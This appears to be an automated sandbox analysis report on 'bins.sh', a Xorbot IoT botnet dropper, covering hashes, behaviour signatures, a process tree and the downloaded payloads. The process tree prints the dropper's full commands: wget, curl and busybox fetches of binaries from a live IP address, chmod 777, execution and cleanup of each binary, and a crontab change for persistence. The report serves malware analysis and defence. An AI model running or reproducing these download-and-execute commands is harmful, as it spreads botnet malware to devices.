Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-12-2024 10:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9233bf649a4624ec647262c74da69bec

  • SHA1

    345be1eaa98aba4c1ff55ad977ea48281e6b60c3

  • SHA256

    bd6cd721c42874cb2242e64bcc17ab58442d0de2ca5302438b17712d83839942

  • SHA512

    285bf6e13dec59ea4792dd4b47b82cb53afe423ec49e009f716b2f6b6c4e9f28367ae08b4eb791fafae5f239a432c95e870562eb09fa24a3cb8237b657c85013

  • SSDEEP

    96:/Ro+uSOePnaUgRdP4/EA4f/sUyyY7/Mc/k9/O/EA4f/aUyyY7//DgfRo+u7SOePQ:/uSOePnaVKLUyyY7/iyyY7/7SOePnQ

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          ./vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            ./eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              ./9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm 9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
                PID:762
              • /usr/bin/wget
                wget http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Writes file to tmp directory
                PID:788
              • /bin/chmod
                chmod 777 ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                ./ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Executes dropped EXE
                PID:795
              • /bin/rm
                rm ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                  PID:798
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Writes file to tmp directory
                  PID:799
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:804
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /bin/chmod
                  chmod 777 ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • File and Directory Permissions Modification
                  PID:806
                • /tmp/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  ./ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Executes dropped EXE
                  PID:807
                • /bin/rm
                  rm ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                    PID:809
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Writes file to tmp directory
                    PID:821
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Writes file to tmp directory
                    PID:832
                  • /bin/chmod
                    chmod 777 2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • File and Directory Permissions Modification
                    PID:843
                  • /tmp/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    ./2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:844
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:846
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:847
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:848
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:849
                      • /bin/rm
                        rm 2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                        2⤵
                          PID:851
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                          2⤵
                            PID:854

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /var/spool/cron/crontabs/tmp.OoKwYu

                          Filesize

                          210B

                          MD5

                          56fc2158e32a4b6ca19dc454a32b351c

                          SHA1

                          7d2e0d41b8246b9a6ea0bc528afc9227b1394e14

                          SHA256

                          20b1283b1a86131021dbf4d7d4bbe5ac07cc74cce218acaa8a0e205a29966423

                          SHA512

                          ddb522df83d432934b03c93ca53f11ea1f1943c5cc72bb7dae567b68f7eef7ebbb93df7c639da6c0ed6045ecf22f4b2c6cbce7ce01e89775a62b0b4d3101eb77